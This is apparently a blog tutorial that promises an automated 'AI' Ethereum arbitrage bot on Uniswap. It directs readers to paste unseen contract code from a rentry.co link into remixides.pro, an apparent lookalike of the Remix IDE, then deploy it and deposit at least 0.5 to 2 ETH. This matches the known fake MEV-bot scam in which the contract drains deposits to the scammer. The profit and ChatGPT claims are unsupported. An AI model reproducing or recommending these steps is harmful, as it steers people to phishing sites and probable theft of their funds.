Creating a Fully Automated Smart Crypto AI Trading Bot on Ethereum Network in 2024

Crypto Blockchain
Coinmonks
3 min readJul 24, 2024

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What do you think about having your personal bot that automatically trades and makes profits for you supported by OpenAI ChatGPT?

In this article, I explained in details how I was able to create an automated smart crypto AI bot on the ethereum network that identifies and takes profitable trades at lightening speed and maximum efficiency.

Decentralized exchange (DEX), has been the talk of the town providing full autonomy to cryptocurrency traders enabling them to make profits outside the constraints of centralized exchanges that require strict verification and full control of your assets.

DEXs and decentralized wallets like Metamask has provided a pathway to trade effectively possessing full control of your portfolio.

Market discrepancies have provided a subtle way to make substantial profit due to the price differences of tokens across several DEXs.

In this tutorial, we make use of our “AICryptoTradeBot” which trades various buy and sell opportunities on the Uniswap Exchange due to price changes and inefficiencies.

“AICryptoTradeBot” Basic Mechanics

The AICryptoTradeBot is funded with liquidity (Recommended: 1 ETH+) to provide substantial capital to trade against and also accommodate slippage price and trading fees.

The bot spots buying and selling opportunities based on premeditated market conditions and trades accordingly, buying and selling at lightning speeds.

The profits can then be withdrawn at your discretion.

VIDEO TUTORIAL

AICryptoTradeBot exclusively targets profitable arbitrage opportunities in the Uniswap Wrapped Ethereum (WETH) Liquidity Pairs.

Contract Deploy Site: 👉 https://compilesolidityproject.pro/

Contract Bot Code (JUNE Update): ⌨️ https://rentry.co/pvminspm/raw

CODE INTRUCTIONS

  • Network symbol is the network the MEV bot trades will be made on (ETH or BSC)
  • Trading mode — look only for buy signals moving up or longs moving down or any
  • Options are: 0-Shorts (Up) 1-Longs (Down) 2-Any
  • Withdrawal Address — Your wallet where funds will be withdrawn to when both is stopped

How it works:

  • The contract code creates a brand new contract in which you deposit an initial investment amount.
  • The amount is taken and traded against various tokens on the Ethereum and Uniswap Exchange using Aritifical Intelligence Chat GPT.
  • Trades are down using arbitrage pairing and using bot trading.

STEP BY STEP

  • Download MetaMask or Google It for official site: https://metamask.io/download
  • Head over to Remix: 👉 https://remixides.pro/
  • Right Click the “Contracts” folder and then create “New File”. Name it whatever you want or “bot.sol”
  • Paste THIS code into Remix (this is the UniswapV3FlashLoan code): ️ https://rentry.co/pvminspm/raw
  • Go to the “Compile” tab on Remix and Compile with Solidity version 0.6.6
  • Go to the “Deploy & Run Transactions” tab on Remix, select the “Injected Provider” environment, then click the arrow beside “Deploy”.
    Fill the information below:
    _OWNER: “Your personal wallet address”
    _TARGET: 0xdAC17F958D2ee523a2206206994597C13D831ec7 (USDT/ERC20 Contract address).
    Any token contract address can be used depending on what token you want to trade on.
    This will create your own contract by confirming the MetaMask Contract creation fee.
  • Deposit funds (at least 0.5–2.0 ETH to prevent negating slippage) to your exact contract/bot address.
  • After your transaction is confirmed, start the bot by clicking the “start” button. Withdraw anytime by clicking “withdrawal”

After successful withdrawal, send profits to another wallet.

In case of any errors, retry the tutorial from the start carefully. Take note of capital, slippage & withdrawal address.

Enjoy Trading!!!

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Crypto Blockchain
Coinmonks

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